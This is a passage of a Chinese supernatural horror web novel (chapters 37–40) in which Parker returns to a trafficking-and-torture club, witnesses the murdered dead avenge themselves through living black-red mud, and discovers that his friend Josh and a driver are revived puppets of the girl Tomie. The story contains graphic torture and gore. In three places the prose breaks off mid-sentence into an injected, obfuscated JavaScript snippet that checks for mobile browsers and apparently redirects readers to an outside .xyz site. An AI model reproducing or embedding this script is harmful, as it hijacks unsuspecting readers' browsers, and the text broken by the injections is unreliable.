有了交通工具,逃跑的可能性就增加了不少。男人本来还正为自己的幸运感到高兴,下一秒,朋友的死相便从脑海中浮现。 十几分钟前,帕克在这座地狱一般的大楼里,发现了朋友乔什惨不忍睹的尸体。 他忙于逃跑,甚至没有时间替友人合上双眼。 想到这,男人懊恼地叹了口气。结果他的动作有些大,扯到了身体的伤口。 疼痛让帕克下意识抬起头,远处几个陌生男子的身影便映入他的眼帘。应该是在俱乐部工作的员工。 帕克面色一凝,赶忙窝起身体,躲到了驾驶座下。 那几人正聊得兴高采烈,完全没有注意到一旁的车子里藏了个人。 “嘿,听说了吗?早上凯尔他们带回来了一个超正点的亚洲女孩。不知道我能不能把她买下来。” “少做梦了,老板特别交代过,她是高级货。估计会让大客户竞价吧。” 听到这,帕克的心一颤,脑海中立刻浮现出了一个女孩的脸。 富江,他记得她的名字,也记得她惊人的超越人种与性别的美丽。 “该死的,我就知道不可能。要不是另一个货跑了,说不定我还能解解馋。” 车外,那群不把人命当回事的畜生们浑然不知自己的混账话已经都被人全听了过去。 “亚洲的姑娘们玩起来可比美国妞带劲儿多了,毕竟她们看上去真的很小。” “你说的是外貌?” “我是指所有的一切。” 几人发出哄笑声,脚步声渐渐远去。 因为疼痛,帕克额头上不断冒着冷汗,却还是因为那些恶俗的对话握紧了拳头。 等声音渐渐听不到了,他才从躲藏的地方爬出来握紧方向盘。 刚才那群混蛋的话仿佛刻进了青年的脑子里,富江姣好的面容不断闪现在他眼前。 握着方向盘的手紧了又松,帕克的表情也越来越痛苦。 这个时候,抛下那个只有一面之缘的女孩,趁所有人没发现赶紧逃跑才是明智之举。 他知道的。 但他无法做到。 童年时,帕克曾眼睁睁看着一个姑娘落水淹死自己却无能为力。 从那之后,这就成了他的梦魇。如今,也依然牢牢束缚着男人。 短短几分钟,男人在驾驶坐上已经经历了天人交战。不远处的俱乐部时不时还能听到受害人发出的惨叫,这也让帕克痛苦地皱起眉头。 最终,帕克重重地砸了下方向盘,打开车门,再次狼狈而决绝地冲向了那幢沾满血腥的房子。 他无法抛下那个女孩不管。 37. 第 37 章 潜入和逃出来一样顺利。 虽说是拐卖和虐杀俱乐部的大本营,但这里人烟稀少,可能是为了避免引人注目,门口守卫的人也没几个。 帕克穿着客户的衣服,阴沉着脸,完全没有引起对方的注意。 他就这么再度踏入了已经残害了无数条无辜生命的魔窟。 在被对方发现之前,要先把那个小姑娘找到。 帕克在心中暗下决心的同时,也没忘记检查自己偷来的手枪。万幸,子弹是满的。 他长舒了一口气,安下心来的同时终于开始专注地打量四周的环境。没办法,虽然建筑物里时不时会传来惨叫声,但帕克下意识觉得,不会是富江的声音。 就像刚才路过的那群混账东西说的一样,那女孩有着远超他人的异常美貌,用脚指头想也知道这群把国别都列入定价范围内的人贩子不会简单把她卖出去。 正思考着如何在偌大的建筑中寻找自己的目标,帕克忽然注意到了一件事。 就在刚才,还响彻在建筑中的,被绑架来的受害人的惨叫声停住了。 又或者说是,一切的声音都消失了。 并非因为伤重或失血产生了耳鸣或是听力衰弱,帕克很难形容现在自己的感觉。 就像是突然被投入了深水中,这突如其来的无形压力,让原本就有些体力不支的青年跪倒在地喘息不止。 还没等他想明白是怎么回事,就听见耳边传来了奇妙的轰隆声。 像是什么东西奔涌而来的声音—— “该死的!发生了什么?!!” “天呐,救命!救命——!!” 刺耳的尖叫划破这边令人窒息的寂静,帕克艰难地抬起头,紧接着便看到了令他匪夷所思的场景。 两名穿着屠户服装,看上去像是俱乐部客人的家伙一边惨叫,一边跌跌撞撞地向他的方向冲来。 而追赶在二人身后,正是发出轰隆声的罪魁祸首——宛如海浪般的,满溢而出的,黑红色的污泥。 帕克先是一愣,被突发事件锻炼出来的危机意识让他的身体先大脑行动,转过身拔腿就跑。 “不不不!救救我——!” 伤口被撕扯,一阵钻心的痛从身体上传来,但听着身后的惨叫,帕克甚至不敢转头确认情况。 眼看逃脱的出口就在眼前,青年心中燃起希望,然而下一秒,他只觉得自己背后被什么东西重重一撞,整个人连滚带爬地摔倒在了地上。 没等帕克爬起身,就听到上方传来了粗重的呼吸声。 陌生的男声正惊慌失措地自言自语:“这一点都不有趣,我不会死的,我不会死的!” 那人全然不顾下方被他当垫子的青年发出了痛呼,踩着帕克的身体猛地向前扑去! 同时,紧跟其后,吞噬一切的黑泥也已经来到了帕克的面前。 青年绝望地闭上了眼睛。 一秒,两秒,三秒。 想象中的疼痛或是其他感觉并未袭来,耳边反倒是传来了刚才将自己当做缓冲试图逃命的客人的惨叫。 “怎么回事?!为什么只追着我!为什么!!该死的门打不开——!!” 他惊讶地睁开眼睛,发现那些汹涌的黑泥在自己面前自动分裂开了一片空地,绕过他后又直直地扑向前方奔逃的男人。 它们像是活的一般,前端化作触手勾住逃跑者的脚,就把他往后拖。同时,周围那些还在蠕动的泥紧跟其上,开始源源不断地攀附在那人身上。 “啊啊啊——————!” 男人不停惨叫着,奇怪的是,那些仿佛活物的,黑红色的物质并未吞噬他,而是将他缓缓拖了回去。 帕克愣愣地看着眼前诡异的一幕,过了几秒,当他在泥中看到另一个还在惨叫的人时,才后知后觉地意识到,这些东西似乎对人体并不会造成直接的损害。 不过,被这东西粘上的感觉一定不好。 他愣神的同时,抓到了自己想要的目标,那些黑红色的“泥”也在慢慢撤退。 但异变既然已经产生,那就不可能恢复正常。 正当帕克喘着气,强忍身体传来的痛感试图站起身时,一声声凄厉的惨叫声再度于这座建筑中响了起来。 而且这次,要比他进来时更为嘈杂和吵闹。 此时此刻,就算是已经经历过生死危机,被人拿着电锯差点割开脑袋的帕克,也被一种毛骨悚然的感觉所笼罩了。 并非那种危及到生命而产生的恐惧,而是更深层次的,无法形容,无法量化的,对未知的恐惧感。 那种救人的雄心壮志已经从男人的心中消失,但相对的,一种奇妙的,伴随着危机感而生的好奇心,开始不可抑制地在他的心中发芽。 惨叫声和求饶声不绝于耳,但之前汹涌奔腾的泥却都已经退却到了墙壁上。接触不到这些诡异的物质,帕克壮着胆子,开始向更深处走去。 不多时,惨叫的来源便映入男人的眼帘。 大门敞开的刑讯室里,黑红色的泥束缚着活人,将他们“捆绑”在座椅上。 他看到了之前逃出俱乐部时擦肩而过的客户,守门的警卫,他们像是待宰羔羊一般,只能徒劳地坐在椅子上不断挣扎。 至于这些以杀人为乐的人为何如此恐惧—— “不不不!你已经死了!你们都死了!” 一间屋子中传出的尖叫,唯一可以活动的帕克闻声看去,却正好瞄到了被启动的,锯齿染满鲜血的电锯。 手握电锯的陌生人光裸着身体,脑袋和身上有着各式各样狰狞的伤口,浑浊的双眼死死地盯着被困在椅子上的男人。 随即,发出轰鸣声的电锯便落在了被束缚着的男人的脚上! 鲜血飞溅而出,原本惊恐的叫声转变为了痛苦的惨嚎。 看到这惨烈而血腥的一幕,帕克倒吸一口冷气,浑身的血液降至冰点,连世界都变得不稳了起来。 他后退了两步退到墙根前,才好不容易支撑住了自己摇摇欲坠的身体。 而他发出的动静也惊动了屋子里的“凶手”。 对方转过身来,看向帕克,却没有对他展露出敌意,反而僵硬地露出了一个笑容。随后,举着电锯,又开始了新一轮的折磨。 帕克看到“凶手”的肚子上,破开着一个血肉模糊的大洞。 这名“凶手”早就已经死了。 不光是他,如今,这里的每间牢房都已经门洞大开。无数活人被黑泥捆绑在座椅上,徒劳地挣扎。 而他们身边站着的,手握各种道具,正准备或者已经开始向他们磨刀霍霍的“犯人”们,就如同那个挥舞电锯的凶手一般,身上都有或恐怖,或致命的伤痕。 浑身划痕与缝合痕迹的男女手握手术刀与针线缝合着他人的眼皮,满身烧伤早已无法辨别样貌的人对着自己的目标举起了燃着火苗的喷火枪,失去了眼珠口中冒血的年轻女性正准备用铁钳撬开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717336|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣扎之人的嘴。 看到这些的一瞬间帕克理解了。 拿起了屠刀,正在向活人下杀手的,正是之前受尽折磨死在俱乐部里那些人,和自己一样的普通人。 青年眼眶通红,贴着冰冷的水泥墙,一点一点挪着自己的两条腿。 胸口翻滚着剧烈的情感,明明自己也是受害者,但在看到曾经的恶人们被折磨,被屠杀,他却几欲作呕。一开始那种恶有恶报的念头就像是烈阳下的水珠,没几秒便被蒸发得丁点不剩,只剩下面对地狱之火炙烤时的恐惧。 但帕克也做不到出手去制止,最终只能痛苦地不断喘息着,只盼望自己能早点走出这鲜活的人间地狱。 然而,在路过一间敞开的刑房,瞥到里面场景的瞬间,他只觉得一阵头晕目眩,双腿也彻底失去了行动力,变得像一滩烂泥。 屋子里,依然是一名陌生的,被捆绑在椅子上的男子。 帕克看到他的时候,他大声惨叫着。因为蹲在他面前的女人,正在用铁钳,一个一个地拔掉他的脚趾。 帕克的记性很好,此时此刻他甚至恨起了自己平时这引以为傲的记忆力。 因为这名专注地拔人脚趾的亚裔女性,正是他前一天看到的,与自己冰岛同伴奥利合影的女人。 她是富江和加奈那个失踪的同伴。 一瞬间,有什么东西击溃了青年岌岌可危的意志力。 他瘫坐在地上,甚至无法再往前一步。耳边,此起彼伏的惨叫声回荡在空旷的走廊中,化作奇异的啸叫,逐渐将他的大脑侵占。 “不……不!!” 帕克惨叫一声,蜷缩在墙边,用双手抱住脑袋。 “上帝啊,求求你……不要这样……” 男人呜咽着,无助地嘟囔着祷告的话语,不知过了多久,他忽然感觉自己的头被什么人轻轻抚摸着。 “你好呀,帕克先生。” 脑海中的啸叫声奇妙地减轻了,以至于他分辨出了那道甜美的声音,一个女孩的声音。 “真可怜,你看起来情况糟透了,需要帮忙吗?” 是富江的声音。 在轻柔的触碰下,帕克紧绷的身体逐渐放松了下来。一直萦绕在耳边的,那些活人的惨叫声也变得没那么刺耳了。 他艰难地动了一下身体,松开抱着脑袋的双臂,抬起脸来—— 帕克看到了富江。 或者说,披着“富江”皮的,什么东西。 此刻,站在他面前的女孩眼睛已经全黑了,正源源不断地往下流动着粘稠的,黑红色的物质。 她没有穿衣服,然而展露在青年面前的,却并非只有人类的身体。 他看到那具白皙的,纤细的躯体中央,裂开了一个巨大的,纵向的口子,其中,满溢着吞噬,束缚着活人的泥与鲜红的,还在跳动的内脏纠缠在一起,发出滑腻的声响。 在与“富江”对视的瞬间,那个女孩露出了一个一如既往的,甜美的笑。 下一个瞬间,裂开的缝隙内,周围的墙壁上,那些黑红色的泥瞬间睁开了无数眼睛。 不同形状,不同颜色,甚至不同种族的眼睛。 那些眼睛盯着他,随着富江眨动双眼,不断眨动着。 “亲爱的帕克先生,别露出这么害怕的表情。” 在失去意识的前一秒,青年听到那个东西用“富江”的声音如此说着。 “等你睡醒,一切就结束了。” 38. 第 38 章 混沌的噩梦中,帕克惨叫着,挣扎着,忽然感觉有人正在喊他。 “嘿,帕克?帕克!” 他猛然睁开眼,正好对上了乔什褐色的双眼。 青年猛地弹坐起身,下一秒,头顶便“咚”地一声狠狠撞到了坚硬的物体。 剧痛让帕克混沌的精神清醒了不少,但因为撞得太猛,他只能眼冒金星地跌回原位。 “帕克?!兄弟,你在干什么,反应也太激烈了吧?” “乔……乔什?” 因为疼痛溢出的泪花模糊了帕克的眼睛,他缓了一会儿才发现乔什是坐在自己旁边的。 他们此刻正坐在一辆行驶的车上。 “不,我……”帕克张了张嘴,奇怪的是,当他想说的时候却又无论如何都想不起来自己想问的东西是什么。“我们在哪?” 乔什闻言,表情变得有些嫌弃:“好吧帕克,我就当你是昨天晚上在酒吧喝多了。但愿你还记得我们今天和两位女士有约。” “女士?” 话音刚落,帕克看到自己这位平时脾气很好的褐发朋友大大地翻了个白眼。模糊的记忆终于清晰了一些。 “是说富江和加奈吗?” 他记得出旅馆前,自己和乔什跟人家说好,第二天一起出发去车站,离开这个见鬼的小镇。 所以—— “我,我们现在是去车站?” “哦上帝,你可算想起来了。”乔什像是被解放了一样,往帕克旁边一瘫。“我和富江在酒吧找到你的时候可吓死了,以为你也和其他人一样失踪了。” “什么意思?” “早上好啊帕克先生。” 二人的谈话被一道软软的女声打断,帕克才发现,副驾驶上还坐着一位乘客。 “你没受伤吧?” 是富江,那个非常漂亮的亚裔女孩。 一瞬间,面对女孩娇美的脸,帕克心中升起了一种莫名的恐惧。 这种感觉很莫名,连他自己都不知道为什么,只是唐突的心脏开始狂跳,身体不受控制地颤抖,呼吸也变得困难。 “嘿兄弟,你没事吧?” 乔什的声音将帕克从恐惧的深渊里拉了出来。 “哦,不……没,没什么,可能是我喝太多了。” “哦好吧。”乔什懊恼地摊手,“早知道昨天晚上我说什么都要拉你回旅馆,不然今天也不用费这些功夫了。” 帕克闻言皱起眉,他现在脑子还模模糊糊的,隐约只记得自己前一晚找不到人便去酒吧买醉,想着最后一晚了再放纵一下。 然后—— 然后发生了什么来着? “哦帕克先生,很抱歉有件事需要通知你。” 他正苦思冥想着,便听见富江的声音从副驾驶座传来。 “我和乔什先生找你花了点时间,但我的朋友加奈她已经不想再呆在这,所以一大早她先离开了。希望你不要介意。” “什么?”富江的话让帕克从自己一团乱麻的思绪中抽离了出来。“你说加奈已经先走了?哦,我……”他说着看了眼乔什,发现对方没什么反应。“她是你的朋友,我当然不会介意。就,也谢谢你能和乔什一起来找我。” 三两句话之间,青年心中那股莫名的恐惧感消减了不少,对昨晚模糊的记忆也不再追究。 “所以我们现在是去哪?车站?” “是啊,赶在下午最后一班车之前。说真的,要是找你再多花半小时,我们恐怕就得等到明天再离开了。” 乔什说着,还用拳头轻轻捶了朋友的肩膀一下。 “富江还说想让你再休息一会儿呢,那可不行,扛也得把你扛去车站。” 毕竟他们俩确实都很想离开这个鬼地方。 “帕克先生现在还有哪里不舒服吗?” “哦,没有,我……” 青年坐起身看了看四周,车窗外的风景确实告诉他,他们还在小镇里,并且正往车站行驶。 “我觉得自己好多了。” 这让帕克松了一口气,便也不去追究残留在心中的那些奇怪的感觉了。 “那就好。” 富江看了一眼后视镜,青年的神情不似作假,她也笑了起来。 “司机说还有十分钟就要到车站了。” 她身旁,高大健硕的光头男人一直沉默地开着车。 但如果帕克这时候稍微探一下头,就会看到,男人手腕内侧,有着他见过的一道刺青。 黑狗的刺青。 在看到刺青的刹那,帕克就会想起自己遗忘的,满是血腥、恐怖与怪异的梦境的真相。 在那座满是冤魂的俱乐部,他差点被杀,也找到了失踪好友死不瞑目的尸体。 什么喝多了酒一直睡到别人来找他,在昏睡中被架上了车都是假的。真正的现实是,在死者复生的俱乐部中,帕克的精神承受不住看到的残酷景象,昏迷了过去。 可惜的是,他现在刚醒,脑子还糊涂着,身边还有朋友分散注意力,也就没有注意到周身的疑点。 清爽的风吹拂着富江的脸颊,因为饥饿感彻底得到满足,女孩的心情格外的好,甚至还哼起了小曲。 而她身旁沉默而面无表情地驾驶汽车的司机,没人看得到,他的眼睛此刻被黑红色填满。 如今,这辆车上除了帕克之外,就没有活人了。 驾驶车辆的司机本来是俱乐部的一员,只是因为跟踪富江被发现,死后被泥填充做成了傀儡。 至于乔什—— 他是第一个与女孩立下约定,借由泥反生的死者。 富江在那座俱乐部里看到了很多人,很多带着巨大的痛苦,含冤而死,无法放下执念的“无辜之人”。 这让她想起了佐伯家,那幢屋子也是,在佐伯伽椰子死后,不断吸收着后来者的生命与怨念。最终,庞大的怨气化作诅咒,也让屋中的怨灵变得无所不能,无处不在。 富江向来是想到了什么就会去做的性子,在看到乔什,听到死者们哭喊的刹那,她便效仿佐伯家,与这些人产生了“连接”。随后,便是“沟通”。 她想和被困在俱乐部,无法离开,满是悲伤的大家做朋友。 既然都做朋友了,朋友有困难的时候,自然要伸出援手,不是吗? 富江自认为是个慷慨又大方的人,所以,她完成了朋友们的愿望,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756027|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们自黑泥中再度获得了□□。 这样,就算每个人的愿望或是想做的事情不一样,也不用借由她的手,而是通过自己来完成想做的事情了。 只不过,既然是朋友,便要互帮互助。她帮助他们实现愿望返回人间,他们也要帮她填饱肚子才可以。不然,饿着肚子的富江,也没办法继续为那些人提供帮助了。 听着后排座位上两个男人有一搭没一搭地聊天,回想起蜷缩在刑讯室一角,浑身是伤一开始连自己已经死亡都不知道的乔什先生的面容,富江满意地勾起嘴角。 嗯,果然,是完美的互帮互助! 当太阳升到天空中的最高点,这辆载着三名乘客的小轿车缓缓停在了车站的入口。 这会儿正是车站运营的高峰时期,来来往往都是行人,帕克从后备箱拿了行李,接收到了乔什的眼色,便向还正和司机说话的富江清了清嗓子。 “嘿,我说,富江。” “嗯?”女孩正低头和驾驶座的司机说话,闻言回过头看向帕克。“怎么了?” “虽然我们现在已经到了车站,但……好吧,这小镇不太对劲。” 帕克说着,凑近了女孩。 “所以我想离开这座小镇之前,我们还是一起行动吧,好吗?” 富江歪了歪脑袋,随即笑了起来:“好啊,谢谢你帕克先生,你人真好。” 被美女唐突地夸赞,这本该是件令人高兴的事情。但不知为何,一跟富江对视,帕克的心就开始突突直跳,身体也开始不自觉地发抖。 作为当事人,男人很清楚这种感觉并非高兴或是雀跃。 而是,恐惧。 帕克搞不清楚自己出了什么问题,注意力被分散了,自然也就忽略了女孩身后缓缓升起车窗的“司机”。 在三人带上行李进入车站的同时,这辆灰扑扑的轿车也安静地驶离了大门口。 “他要去哪?” 看着远去的车辆,乔什冷不丁问了富江这么一句话。 “嗯?哦,我让他回去了,毕竟我们算不告而别嘛,还是得给他们一个交代的。” 现在,那座曾经被鲜血侵染的俱乐部已经变成了一座“空城”。不管是生者,还是死者,都彻底消失,甚至连尚未处理的尸体都没留下。 没有人通风报信,那些经营俱乐部的人可能要很晚才能发现出了这么大的事故。那时候富江和帕克以及乔什早就已经离开这座小镇了。 总归需要留下一个人,一个完成她“交代”的,能够被带去负责人面前的“人”。 “其实我留下来更好,不过,既然乔什先生你都那么说了——”女孩耸耸肩,一脸无所谓地整理了一下自己柔顺的长发。“也就只能这么做啦。” 这份“惊喜”的大礼,就交给自己的傀儡去做吧。 反正,她的目的也达成了。 这之后,富江会和乔什,帕克一同,前往美国。 之前说过了,她是个想到了什么便会立刻去做的女孩。 如今,既知道了特斯卡特利波卡的身份,又认识了两位出身美国的朋友。 那来一场突如其来的美洲大陆行,也没什么不好的吧? 39. 第 39 章 直到列车启动,坐在包厢里,帕克还有一种不真实的感觉。 没有阻拦,没有骚动,虽然有两位朋友失踪,但他们就这样平安的离开了这座危机四伏的小镇。 就这么简单? “伙计,怎么了?” 面对好友的疑问,帕克不安地看了眼窗外已经开始变化的风景:“不……就是……我们就这么走了?” 然后他就看到乔什莫名其妙看自己一眼,夸张地摊开手:“那不然呢?嘿我的老伙计,你不会想着说我们会像那些电影里面一样和什么邪恶势力作斗争然后离开吧?” “我不是这个意思。”帕克摆了摆手,“就是,觉得有点不真实,我真的没做梦吗?” “我可以给你脸上来一拳验证一下是不是在做梦。” 帕克连忙往后退了退:“那还是算了,你就当我在开玩笑吧。” “好吧,你还挺……的。” “什么?” 车辆碰巧发出轰鸣,帕克没听清朋友嘟囔的后半句话。 “我说你酒是不是还没醒,干脆在车上再睡一会儿算了。” 不知道为什么,听到睡一觉,帕克微妙的有些排斥,便摇了摇头:“没事,我不用。” 说完,他看了一眼一直坐在旁边闭目养神的富江,心中那股别扭感无论如何都无法消解。 “我出去看看车上有什么吃的。” 说完帕克站起身,逃似的离开了三人所坐的隔间。 不对劲。 虽然已经坐上了车,虽然已经脱离了危险,但帕克心里那股违和感却无论如何都无法消失。 他搞不懂这种别扭的感觉从何而来,也想不通自己为什么这么害怕富江,便只能像一个无头苍蝇一般在车厢里瞎转。 总之,就是不太想坐回去。 帕克准备前往餐车,在餐车打发打发时间,等状态稳定了再回去。 结果他满脑子都是到站之后的计划,路过洗手间的时候没注意,和里面走出来的人直接撞了个满怀。 “哦!对不起” “嘿,抱歉抱歉,是我不小心——” 话还没说完,帕克便注意到与自己对视上的来人脸色瞬间变得惊恐万分。同时,他也认出了这个从厕所走出来的家伙。 “是你?!” 是来小镇时在车上和他们在同一个隔间聊过天的眼镜男。他记得这家伙莫名其妙的,还摸了一把乔什的大腿。 结果对方看到帕克认出自己反应更加激烈,当即转身便准备逃跑。 “嘿!”帕克直觉不对劲,一边喊着,一边跟上了眼镜中年男人的脚步。“嘿!等等!” 对方慌里慌张,见他追过来表情更加恐惧,逃跑的过程中甚至撞飞了一位迎面而来的列车员。 帕克再迟钝也意识到有问题了,顾不上还跌在地上痛呼的列车员,紧跟眼镜男的步伐,试图在狭窄的车厢中追上对方。 “等等,我只是想和你说个话!等一下!” 眼见前面的人逃得更快,帕克也变得焦虑起来。他一边追,一边查看四周,试图找到什么趁手的东西。 只要能丢过去,让对方的脚步慢下来几秒,他就能抓住那家伙。 又或者—— 正想着,帕克忽然瞥见前方车厢对接处的门打开了。而从门口出现的,正是他的好朋友乔什。 “嘿乔什!乔什!抓住那个家伙!” 话音刚落,他前面慌张逃跑的中年人也看到了来人。 然而出乎帕克意料的是,在看到乔什的瞬间,那个背对着他的男人发出了一声凄厉的惨叫。紧接着跌坐在地,转过身,惊恐地朝他的方向连滚带爬地逃了过来。 而乔什,他的好朋友,在露出了一个奇妙的笑容后,毫不犹豫地扯住了那个眼镜中年人的脚,猛然将他向反方向拖拽而去。 “不——!!不!!救命!!” “嘿乔什,我抓住他就行了,别闹太大。” 帕克说着,本想走上前帮个忙,却在看向乔什脸的那一刻,浑身定格在了原地。 他看到乔什的眼睛,被诡异的黑红色填满。 下一秒,剧烈的疼痛侵蚀了帕克的大脑。他头晕目眩,站都站不稳,手徒劳地在空中抓了抓,没能找到依靠的东西后便跌坐在地。 那黑红色连带着疼痛,一起侵蚀了他的大脑,他的思维,他的记忆。 “乔什……等等……” 眼镜男的惨叫声愈发凄厉,帕克伸出手,想要阻止朋友。 ……阻止朋友做什么? 就在他迟疑的当口,车厢大门缓缓闭合,乔什已经把那名中年男人拖进了两节车厢之间的贯通道。 帕克喘着粗气站起身,几步冲到门前。不知为何,原本透明的玻璃一片漆黑,让他无法确认贯通道里的情况。 男人想把门拉开,却在接触到把手的那一瞬间迟疑了一下。 紧接着,他听到了一声含糊而凄厉的惨叫。 救人的本能让帕克瞬间拉开了隔门,然而,眼前的场景让他惊呆了。 原本狭窄的贯通道,此刻被一种诡异的黑红色物质包裹住,遮蔽了所有的光亮。 那名仓皇逃窜的中年男人,此刻正被帕克的好友牢牢摁在地上。 而这个空间里,还有第三个人。 是富江,那个美丽的,让他恐惧的,年轻的女孩。 “你确定要这么做吗?乔什先生?” 她似乎对面前怪异的场景一点也不意外,歪着脑袋,居高临下地俯视着面前的二人。 “是的,是的,富江小姐。” 乔什压着还在挣扎惨叫的中年男人,脸上的笑容扭曲着,似乎是想哭,又似乎是在愤怒。 “我想了很多次会在哪里遇到他,也想过很多种折磨他的方法。但是……我做不到。” “对不起。” 听着二人的对话,帕克的头又开始一跳一跳地疼。 “乔什?兄弟,这是怎么回事?” 恍惚间,他似乎听到了周围传来的,此起彼伏的惨叫与痛苦而绝望的哭泣声。 “嘿……这……不好笑。” 帕克努力想让自己站稳,却在接触到那黑红色的泥的瞬间,整个身体都开始痉挛,并不受控制地跌倒在地。 而在男人身后,原本被拉开一条缝的拉门,也缓慢地被那黑红色的泥再度填满了。 眼前被一片红光填满,帕克的脑子疼得快要炸开,恍惚间听见了好友的呼唤。 “帕克!” 然而青年无暇顾及,因为在痛苦的过程中,他已经一点点回忆起了自己遗忘的恐怖梦境究竟为何。 他们根本没有平安离开这座小镇,前一夜喝多酒,等自己回到旅馆,乔什的身影已经消失了。 等他摸到那个俱乐部,实打实的面对以虐杀为乐的客人的同时,也发现了好友的尸体。 一切都是假的。 “他不要紧的,只是受了点刺激,身体先一步做出了反应而已。” 听见某个女声,帕克心中油然而生一股愤怒。他挣扎着,试图站起身,却听到那个带来了地狱的怪物继续道。 “不过,经历过这次之后,你一直维持的谎言就要被戳破了。我再问你最后一次,乔什先生。” “后悔吗?多许下一个愿望。” 青年的心一抽,奋力地抬起头。 他看到自己的朋友,曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774322|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在俱乐部死不瞑目的好友正看着自己,露出了一个苦笑。 “我不后悔。谢谢你,富江。” 他的眼眶里还残留着一些泪光。 “抱歉,帕克,我恐怕不能和你一起回去了。” 话音刚落,包裹在空间内的泥发出欢快的咆哮,汹涌地冲向乔什与眼镜男子。 哪怕知道眼前的一切很有可能是假的,但在看到亲友被泥吞噬的那一瞬间,跌倒在地的帕克还是发出了绝望的怒吼。 而贯通道之外,列车内,一切都还是一如既往的安静。 就好像什么都没发生一般。 ------------------------------------- 同一时间,捷克斯洛伐克境内,一幢豪华的大屋内。 特斯卡特利波卡大大咧咧行走在这道挂满名画的长廊之中。 行至一间屋子的门前时,青年停了下来。 “等等,等等!你想要什么我都能给你——” 话音未落,只听“砰!”得一声,屋内再度陷入了寂静。 特斯卡特利波卡不屑地笑了笑,伸手直接将大门推开。 在门打开的瞬间,一股夹杂着硝烟气的铁锈味铺面而来。 这间屋子原本是个豪华又宽敞的私人办公室,只是如今,地上倒着横七竖八的黑西装男人,墙面,地面上也多了不少破坏美观的弹孔。 如今,只有一个人还站在这间屋子里。 这名身穿灰色外套,高大的光头青年手里还握着一把枪,枪口正对准着豪华座椅上那个脑袋开花的倒霉蛋。 “看来,你在这里玩得很开心。” 特斯卡特利波卡见怪不怪,跨过或在呻///吟,或已经断气的黑衣人们的尸体,来到灰衣人与死去的中年男人面前。 “获得新力量的感觉怎么样,富江?” 那名拿着枪的灰衣人闻言,转动了一下黑红色的眼珠,抽了抽嘴角,露出了一个熟悉的笑容。 “感觉,还不错。” 诡异的事情发生了,高大的男人口中发出的,是一个甜美的,女孩子的声音。 “你果然,在,看着我。” 灰衣人的声音断断续续的,因为他周身早已遍布弹孔,有一颗子弹甚至正好打在喉咙上。这让他的语言系统收到了影响。 不过即使血流如注,腹部被打的血肉模糊,他也依然忠实地履行了自己的任务。 来到俱乐部的大本营,杀死其他剩下来的主犯。 灰衣男人歪了歪头,这是富江经常做的动作,放在他身上有种诡异的割裂感。 “你,想要做什么?” 富江不认为特斯卡特利波卡这时候现身,只是为了跟自己闲聊天。 “当然是来渔翁得利一下。”男人说着,随意地靠在红木桌子边,伸手就把座椅上的尸体给推了下去。“东欧的人口买卖只是这家伙的私产之一,而他们恰好挡了我的财路。严格意义上来说,这次还得谢谢你呢,我的女孩。” “……” 灰衣人没有说话,那双已经被黑红色浸染的毛骨悚然的眼睛,一动不动地看着特斯卡特利波卡。 “你,真是个,令人讨厌的,家伙。” 话音刚落,灰衣人眼中的黑红色忽然消失殆尽。 没了操纵者,这具早已没了生息的尸体便轰然倒塌。 富江的分身离开了。 “哦?不错嘛,居然已经自我成长到了如此地步。” 虽然正主已经离开,但特斯卡特利波卡脸上的笑意却并未消失。 “我可是很期待与你的下次重逢的。” “不要让我失望啊,‘富江’。” 40. 第 40 章 混沌的空间中,帕克听到了尖利的惨叫声,以及由远而近的电锯的轰鸣。 他在漆黑的长廊狂奔,出口明明就在身后,身体却不受控制地继续向里前进。 自己似乎在找什么人。 意识到这点的下一秒,帕克看到了走廊尽头的场景。 “乔什——!” 他呼唤着朋友的姓名,然而对方跪在地上背对着他,没有回头。 “乔什!!” 帕克又喊了一声,想要再走进点。 下一秒,漆黑的房间开始蠢动,黑红色的泥拔地而起,发出了欢喜的咆哮,涌向了他们。 帕克惨叫着不断挣扎,再睁开眼的时候,自己正躺在松软宽大的床上。 “嘿亲爱的怎么了?” 屋外传来一道令他熟悉的女声,下一秒,一位美丽的金发女郎出现在门口。 “你又做噩梦了?” 是的,梦。 他又做噩梦了。 面前美丽的金发女郎是他的女友曼达,如今,帕克已经回到了远在大洋彼岸的故乡,美国。 冷汗浸透了青年的衣服,他仓皇地掀开被单起身,毫不犹豫地往盥洗室走。 “帕克,你没事吧?” 听着身后女友关切的询问,青年一边拧开药瓶,一边摇了摇头。 “我没事曼达,只是……你知道的,睡不好就会做一些乱七八糟的噩梦。” 毫无疑问的,帕克在撒谎。 